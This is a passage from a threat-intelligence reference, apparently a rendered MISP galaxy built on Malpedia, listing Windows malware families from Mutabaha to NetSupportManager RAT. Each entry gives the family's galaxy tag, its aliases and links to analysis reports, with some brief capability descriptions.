<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet">https://malpedia.caad.fkie.fraunhofer.de/details/win.murofet</a></td>
</tr>
<tr>
<td><a href="https://www.wired.com/2017/03/russian-hacker-spy-botnet/">https://www.wired.com/2017/03/russian-hacker-spy-botnet/</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group">https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group</a></td>
</tr>
</tbody>
</table>

**Mutabaha**

The tag is: *misp-galaxy:malpedia="Mutabaha"*

Mutabaha is also known as:

*Table 3624. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha">https://malpedia.caad.fkie.fraunhofer.de/details/win.mutabaha</a></td>
</tr>
<tr>
<td><a href="http://vms.drweb.ru/virus/?_is=1&amp;i=8477920">http://vms.drweb.ru/virus/?_is=1&amp;i=8477920</a></td>
</tr>
</tbody>
</table>

**MyDogs**

The tag is: *misp-galaxy:malpedia="MyDogs"*

MyDogs is also known as:

*Table 3625. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mydogs">https://malpedia.caad.fkie.fraunhofer.de/details/win.mydogs</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html">https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html</a></td>
</tr>
</tbody>
</table>
MyDoom

The tag is: misp-galaxy:malpedia="MyDoom"

MyDoom is also known as:

- Mimail
- Novarg

Table 3626. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom">https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom</a></td>
</tr>
<tr>
<td><a href="https://www.giac.org/paper/gcih/619/mydoom-backdoor/106503">https://www.giac.org/paper/gcih/619/mydoom-backdoor/106503</a></td>
</tr>
<tr>
<td><a href="https://www.giac.org/paper/gcih/568/mydoom-dom-analysis-mydoom-virus/106069">https://www.giac.org/paper/gcih/568/mydoom-dom-analysis-mydoom-virus/106069</a></td>
</tr>
<tr>
<td><a href="http://ivanlefo0u.fr/repo/madchat/vxdevl/papers/analysis/mydoom_b_analysis.pdf">http://ivanlefo0u.fr/repo/madchat/vxdevl/papers/analysis/mydoom_b_analysis.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.malware-traffic-analysis.net/2018/12/19/index.html">https://www.malware-traffic-analysis.net/2018/12/19/index.html</a></td>
</tr>
</tbody>
</table>

MyKings Spreader

The tag is: misp-galaxy:malpedia="MyKings Spreader"

MyKings Spreader is also known as:

Table 3627. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader">https://malpedia.caad.fkie.fraunhofer.de/details/win.mykings_spreader</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/janrubin/the-king-is-dead-long-live-mykings/">https://decoded.avast.io/janrubin/the-king-is-dead-long-live-mykings/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/07/valak-emerges.html">https://blog.talosintelligence.com/2020/07/valak-emerges.html</a></td>
</tr>
</tbody>
</table>
MyloBot

According to PCrisk, MyloBot is a high-risk trojan-type virus that allows cyber criminals to control the infected machine. MyloBot can be considered as a botnet, since all infected computers are connected to a single network. Depending on cyber criminals' goals, infected machines might be misused or have additional infections applied.

The tag is: *misp-galaxy:malpedia=“MyloBot”*

MyloBot is also known as:

- FakeDGA
- WillExec

Table 3628. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot">https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot</a></td>
</tr>
<tr>
<td><a href="http://www.freebuf.com/column/153424.html">http://www.freebuf.com/column/153424.html</a></td>
</tr>
<tr>
<td><a href="https://www.bitsight.com/blog/mylobot-investigating-proxy-botnet">https://www.bitsight.com/blog/mylobot-investigating-proxy-botnet</a></td>
</tr>
<tr>
<td><a href="https://blog.centurylink.com/mylobot-continues-global-infections/">https://blog.centurylink.com/mylobot-continues-global-infections/</a></td>
</tr>
<tr>
<td><a href="https://github.com/360netlab/DGA/issues/36">https://github.com/360netlab/DGA/issues/36</a></td>
</tr>
</tbody>
</table>

MysterySnail

The tag is: *misp-galaxy:malpedia=“MysterySnail”*

MysterySnail is also known as:

Table 3629. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mystery_snail">https://malpedia.caad.fkie.fraunhofer.de/details/win.mystery_snail</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/">https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/</a></td>
</tr>
</tbody>
</table>

Mystic Stealer

According to ZScaler, a new information stealer that was first advertised in April 2023, capable of stealing credentials from nearly 40 web browsers and more than 70 browser extensions, also targeting cryptocurrency wallets, Steam, and Telegram. The code is heavily obfuscated making use
of polymorphic string obfuscation, hash-based import resolution, and runtime calculation of
costants. Mystic implements a custom binary protocol that is encrypted with RC4.

The tag is: misp-galaxy:malpedia="Mystic Stealer"

Mystic Stealer is also known as:

Table 3630. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mystic_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.mystic_stealer</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/mystic-stealer">https://www.zscaler.com/blogs/security-research/mystic-stealer</a></td>
</tr>
</tbody>
</table>

**MZRevenge**

The tag is: misp-galaxy:malpedia="MZRevenge"

MZRevenge is also known as:

- MaMo434376

Table 3631. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.mzrevenge">https://malpedia.caad.fkie.fraunhofer.de/details/win.mzrevenge</a></td>
</tr>
<tr>
<td><a href="https://dissectingmalwa.re/a-projectexe-that-should-have-stayed-in-a-drawer-mzrevenge-mamo434376.html">https://dissectingmalwa.re/a-projectexe-that-should-have-stayed-in-a-drawer-mzrevenge-mamo434376.html</a></td>
</tr>
</tbody>
</table>

**N40**

Botnet with focus on banks in Latin America and South America. Relies on DLL Sideloadin
attacks to execute malicious DLL files. Uses legitimate VMWare executable in attacks. As of March 2019, the
malware is under active development with updated versions coming out on persistent basis.

The tag is: misp-galaxy:malpedia="N40"

N40 is also known as:

Table 3632. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.n40">https://malpedia.caad.fkie.fraunhofer.de/details/win.n40</a></td>
</tr>
</tbody>
</table>
Nabucur

The tag is: `misp-galaxy:malpedia="Nabucur"`

Nabucur is also known as:

Table 3633. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

NACHOCHEESE

According to FireEye, NACHOCHEESE is a command-line tunneler that accepts delimited C&C IPs or domains via command-line and gives actors shell access to a victim's system.

The tag is: `misp-galaxy:malpedia="NACHOCHEESE"`

NACHOCHEESE is also known as:

- Cyruslish
- TWOPENCE
- VIVACIOUSGIFT

Table 3634. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239b</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf">https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf</a></td>
<td></td>
</tr>
</tbody>
</table>

Nagini

The tag is: `misp-galaxy:malpedia="Nagini"`
Nagini is also known as:

Table 3635. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini">https://malpedia.caad.fkie.fraunhofer.de/details/win.nagini</a></td>
</tr>
<tr>
<td><a href="http://bestsecuritysearch.com/voldemortnagini-ransomware-virus/">http://bestsecuritysearch.com/voldemortnagini-ransomware-virus/</a></td>
</tr>
</tbody>
</table>

Naikon

The tag is: `misp-galaxy:malpedia="Naikon"`

Naikon is also known as:

- Sacto

Table 3636. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon">https://malpedia.caad.fkie.fraunhofer.de/details/win.naikon</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/analysis/publications/69953/the-naikon-apt/">https://securelist.com/analysis/publications/69953/the-naikon-apt/</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

Nanocore RAT

Nanocore is a Remote Access Tool used to steal credentials and to spy on cameras. It has been used for a while by numerous criminal actors as well as by nation state threat actors.

The tag is: `misp-galaxy:malpedia="Nanocore RAT"`

Nanocore RAT is also known as:

- Nancrat
- NanoCore

Table 3637. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore">https://malpedia.caad.fkie.fraunhofer.de/details/win.nanocore</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/weaponizing-disk-image-files-analysis/">https://www.crowdstrike.com/blog/weaponizing-disk-image-files-analysis/</a></td>
</tr>
<tr>
<td><a href="https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack">https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack</a></td>
</tr>
</tbody>
</table>
NanoLocker

The tag is: `misp-galaxy:malpedia="NanoLocker"`
NanoLocker is also known as:

Table 3638. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nano_locker">https://malpedia.caad.fkie.fraunhofer.de/details/win.nano_locker</a></td>
</tr>
</tbody>
</table>

NAPLISTENER

The tag is: `misp-galaxy:malpedia="NAPLISTENER"`

NAPLISTENER is also known as:

Table 3639. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener">https://malpedia.caad.fkie.fraunhofer.de/details/win.naplistener</a></td>
</tr>
<tr>
<td><a href="https://www.elastic.co/de/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph">https://www.elastic.co/de/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph</a></td>
</tr>
</tbody>
</table>

Narilam

The tag is: `misp-galaxy:malpedia="Narilam"`

Narilam is also known as:

Table 3640. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam">https://malpedia.caad.fkie.fraunhofer.de/details/win.narilam</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/w32narilam-business-database-sabotage">https://www.symantec.com/connect/blogs/w32narilam-business-database-sabotage</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/12/nov-2012-w32narilam-sample.html">http://contagiodump.blogspot.com/2012/12/nov-2012-w32narilam-sample.html</a></td>
</tr>
</tbody>
</table>

Nautilus

The tag is: `misp-galaxy:malpedia="Nautilus"`

Nautilus is also known as:

Table 3641. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus">https://malpedia.caad.fkie.fraunhofer.de/details/win.nautilus</a></td>
</tr>
<tr>
<td><a href="https://www.ncsc.gov.uk/alerts/turla-group-malware">https://www.ncsc.gov.uk/alerts/turla-group-malware</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-hunter">https://www.secureworks.com/research/threat-profiles/iron-hunter</a></td>
</tr>
</tbody>
</table>
NavRAT

The tag is: misp-galaxy:malpedia="NavRAT"

NavRAT is also known as:

- JinhoSpy

Table 3642. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat">https://malpedia.caad.fkie.fraunhofer.de/details/win.navrat</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2018/05/navrat.html?m=1">https://blog.talosintelligence.com/2018/05/navrat.html?m=1</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=rfzrnHjZX70s">https://www.youtube.com/watch?v=rfzrnHjZX70s</a></td>
</tr>
</tbody>
</table>

nccTrojan

The tag is: misp-galaxy:malpedia="nccTrojan"

nccTrojan is also known as:

Table 3643. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ncctrojan">https://malpedia.caad.fkie.fraunhofer.de/details/win.ncctrojan</a></td>
</tr>
<tr>
<td><a href="https://insight-jp.nttsecurity.com/post/102gr6l/ta428ncctrojan">https://insight-jp.nttsecurity.com/post/102gr6l/ta428ncctrojan</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=1WfPlgtfWnQ">https://www.youtube.com/watch?v=1WfPlgtfWnQ</a></td>
</tr>
<tr>
<td><a href="https://sebdraven.medium.com/actor-behind-operation-lagtime-targets-russia-f8c277dc52a9">https://sebdraven.medium.com/actor-behind-operation-lagtime-targets-russia-f8c277dc52a9</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1441139057682104325?s=20">https://twitter.com/ESETresearch/status/1441139057682104325?s=20</a></td>
</tr>
</tbody>
</table>

Nebulae

The tag is: misp-galaxy:malpedia="Nebulae"
Nebulae is also known as:

<table>
<thead>
<tr>
<th>Table 3644. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nebulae">https://malpedia.caad.fkie.fraunhofer.de/details/win.nebulae</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/SyscallE/status/1390339497804636166">https://twitter.com/SyscallE/status/1390339497804636166</a></td>
</tr>
</tbody>
</table>

**Necurs**

The tag is: `misp-galaxy:malpedia="Necurs"`

Necurs is also known as:

- nucurs

<table>
<thead>
<tr>
<th>Table 3645. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs">https://malpedia.caad.fkie.fraunhofer.de/details/win.necurs</a></td>
</tr>
<tr>
<td><a href="https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/">https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintelligence.com/2017/03/necurs-diversifies.html">http://blog.talosintelligence.com/2017/03/necurs-diversifies.html</a></td>
</tr>
</tbody>
</table>
NedDnLoader

NedDnLoader is an HTTP(S) downloader that uses AES for C&C traffic encryption.

It sends detailed information about the victim’s environment, like computer name, user name, type and free disk space of all drives, and a list of currently running processes. It uses three typical parameter names for HTTP POST requests: ned, gl, hl. The usual payload downloaded with NedDnLoader is Torisma.

The internal DLL name of NedDnLoader is usually Dn.dll, Dn64.dll or DnDll.dll. It is deployed either as a standalone payload or within a trojanized MFC application project. It contains specific RTTI symbols like ".?AVCWininet_Protocol@@" or ".?AVCMFC_DLLApp@@".

The tag is: misp-galaxy:malpedia="NedDnLoader"

NedDnLoader is also known as:

Table 3646. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.neddnloader">https://malpedia.caad.fkie.fraunhofer.de/details/win.neddnloader</a></td>
</tr>
<tr>
<td><a href="https://www.telsy.com/lazarus-gate/">https://www.telsy.com/lazarus-gate/</a></td>
</tr>
<tr>
<td><a href="https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf">https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/the-lazarus-group-deathnote-campaign/109490/">https://securelist.com/the-lazarus-group-deathnote-campaign/109490/</a></td>
</tr>
</tbody>
</table>
Nefilim

According to Vitali Kremez and Michael Gillespie, this ransomware shares much code with Nemty 2.5. A difference is removal of the RaaS component, which was switched to email communications for payments. Uses AES-128, which is then protected RSA2048.

The tag is: misp-galaxy:malpedia="Nefilim"

Nefilim is also known as:

- Nephilim

Table 3647. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim">https://malpedia.caad.fkie.fraunhofer.de/details/win.nefilim</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/evolution-of-jsworm-ransomware/102428/">https://securelist.com/evolution-of-jsworm-ransomware/102428/</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot">https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry">https://intel471.com/blog/how-cybercriminals-create-turbulence-for-the-transportation-industry</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/03/nefilim-ransomware.html">https://id-ransomware.blogspot.com/2020/03/nefilim-ransomware.html</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-mansard">http://www.secureworks.com/research/threat-profiles/gold-mansard</a></td>
</tr>
<tr>
<td><a href="https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/">https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/</a></td>
</tr>
<tr>
<td><a href="https://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks">https://www.picussecurity.com/resource/blog/how-to-beat-nefilim-ransomware-attacks</a></td>
</tr>
</tbody>
</table>
Nemesis

The tag is: misp-galaxy:malpedia="Nemesis"

Nemesis is also known as:

- Project Nemesis

Table 3648. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nemesis">https://malpedia.caad.fkie.fraunhofer.de/details/win.nemesis</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/nemesisproject-816ed5c1e8d5">https://medium.com/walmartglobaltech/nemesisproject-816ed5c1e8d5</a></td>
</tr>
</tbody>
</table>

Nemim

The tag is: misp-galaxy:malpedia="Nemim"

Nemim is also known as:

- Nemain

Table 3649. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim">https://malpedia.caad.fkie.fraunhofer.de/details/win.nemim</a></td>
</tr>
</tbody>
</table>
Nemty

Nemty is a ransomware that was discovered in September 2019. Fortinet states that they found it being distributed through similar ways as Sodinokibi and also noted artifacts they had seen before in Gandcrab.

The tag is: *misp-galaxy:malpedia=*”Nemty”*

Nemty is also known as:

Table 3650. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty">https://malpedia.caad.fkie.fraunhofer.de/details/win.nemty</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/evolution-of-jsworm-ransomware/102428/">https://securelist.com/evolution-of-jsworm-ransomware/102428/</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf">https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/">https://www.tesorion.nl/nemty-update-decryptors-for-nemty-1-5-and-1-6/</a></td>
</tr>
<tr>
<td><a href="https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md">https://github.com/albertzsigovits/malware-notes/blob/master/Nemty.md</a></td>
</tr>
<tr>
<td><a href="http://www.secureworks.com/research/threat-profiles/gold-mansard">http://www.secureworks.com/research/threat-profiles/gold-mansard</a></td>
</tr>
<tr>
<td><a href="https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/">https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/</a></td>
</tr>
</tbody>
</table>
Nerbian RAT

Proofpoint observed distribution of this RAT since late April 2022, it is written on Go and incorporates code from various open-source Git repositories.

The tag is: *misp-galaxy:malpedia="Nerbian RAT"

Nerbian RAT is also known as:

**Table 3651. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nerbian_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.nerbian_rat</a></td>
<td></td>
</tr>
</tbody>
</table>

neshta

Neshta is a 2005 Belarusian file infector virus written in Delphi. The name of the virus comes from the Belarusian word "nesta" meaning "something."

The tag is: *misp-galaxy:malpedia="neshta"

neshta is also known as:

**Table 3652. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
</tr>
</tbody>
</table>
NESTEGG

NESTEGG is a memory-only backdoor that can proxy commands to other infected systems using a custom routing scheme. It accepts commands to upload and download files, list and delete files, list and terminate processes, and start processes. NESTEGG also creates Windows Firewall rules that allows the backdoor to bind to a specified port number to allow for inbound traffic.

The tag is: misp-galaxy:malpedia="NESTEGG"

NESTEGG is also known as:

Table 3653. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg">https://malpedia.caad.fkie.fraunhofer.de/details/win.nestegg</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/lazarus-under-the-hood/77908/">https://securelist.com/lazarus-under-the-hood/77908/</a></td>
</tr>
<tr>
<td><a href="https://content.fireeye.com/apt/rpt-apt38">https://content.fireeye.com/apt/rpt-apt38</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/8hJyLkLHH8Q?t=1208">https://youtu.be/8hJyLkLHH8Q?t=1208</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/_kzFNQySEmw?t=789">https://youtu.be/_kzFNQySEmw?t=789</a></td>
</tr>
</tbody>
</table>

NetC

The tag is: misp-galaxy:malpedia="NetC"

NetC is also known as:

Table 3654. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netc">https://malpedia.caad.fkie.fraunhofer.de/details/win.netc</a></td>
</tr>
</tbody>
</table>
NetDooka

A RAT written in .NET, delivered with a driver to protect it from deletion. Observed being dropped by PrivateLoader.

The tag is: `misp-galaxy:malpedia="NetDooka"`

NetDooka is also known as:

*Table 3655. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netdooka">https://malpedia.caad.fkie.fraunhofer.de/details/win.netdooka</a></td>
</tr>
</tbody>
</table>

NETEAGLE

The tag is: `misp-galaxy:malpedia="NETEAGLE"`

NETEAGLE is also known as:

- Neteagle_Scout
- ScoutEagle

*Table 3656. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle">https://malpedia.caad.fkie.fraunhofer.de/details/win.neteagle</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

NetfilterRootkit

The tag is: `misp-galaxy:malpedia="NetfilterRootkit"`

NetfilterRootkit is also known as:

*Table 3657. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netfilter">https://malpedia.caad.fkie.fraunhofer.de/details/win.netfilter</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html">https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit">https://www.gdatasoftware.com/blog/microsoft-signed-a-malicious-netfilter-rootkit</a></td>
</tr>
</tbody>
</table>
NetFlash

The tag is: misp-galaxy:malpedia="NetFlash"

NetFlash is also known as:

Table 3658. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netflash">https://malpedia.caad.fkie.fraunhofer.de/details/win.netflash</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/">https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/</a></td>
</tr>
</tbody>
</table>

NetKey

The tag is: misp-galaxy:malpedia="NetKey"

NetKey is also known as:

Table 3659. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netkey">https://malpedia.caad.fkie.fraunhofer.de/details/win.netkey</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/kevinperlow/status/1156406115472760835">https://twitter.com/kevinperlow/status/1156406115472760835</a></td>
</tr>
</tbody>
</table>

Netrepser

The tag is: misp-galaxy:malpedia="Netrepser"

Netrepser is also known as:

Table 3660. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger">https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger</a></td>
</tr>
<tr>
<td><a href="https://labs.bitdefender.com/2017/05/inside-netrepser-a-javascript-based-targeted-attack/">https://labs.bitdefender.com/2017/05/inside-netrepser-a-javascript-based-targeted-attack/</a></td>
</tr>
</tbody>
</table>
**NetSpy**

Freely available network reconnaissance tool.

The tag is: `misp-galaxy:malpedia="NetSpy"`

NetSpy is also known as:

*Table 3661. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netspy">https://malpedia.caad.fkie.fraunhofer.de/details/win.netspy</a></td>
</tr>
<tr>
<td><a href="https://github.com/shmilylty/netspy">https://github.com/shmilylty/netspy</a></td>
</tr>
</tbody>
</table>

**NetSupportManager RAT**

Enigma Software notes that NetSupport Manager is a genuine application, which was first released about twenty years ago. The purpose of the NetSupport Manager tool is to enable users to receive remote technical support or provide remote computer assistance. However, cyber crooks have hijacked this useful application and misappropriated it to use it in their harmful campaigns. The name of the modified version of the NetSupport Manager has been labeled the NetSupport Manager RAT.

The tag is: `misp-galaxy:malpedia="NetSupportManager RAT"`

NetSupportManager RAT is also known as:

- NetSupport

*Table 3662. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/">https://decoded.avast.io/janrubin/parrot-tds-takes-over-web-servers-and-threatens-millions/</a></td>
</tr>
<tr>
<td><a href="https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html">https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee">https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee</a></td>
</tr>
<tr>
<td><a href="http://www.netsupportmanager.com/index.asp">http://www.netsupportmanager.com/index.asp</a></td>
</tr>
</tbody>
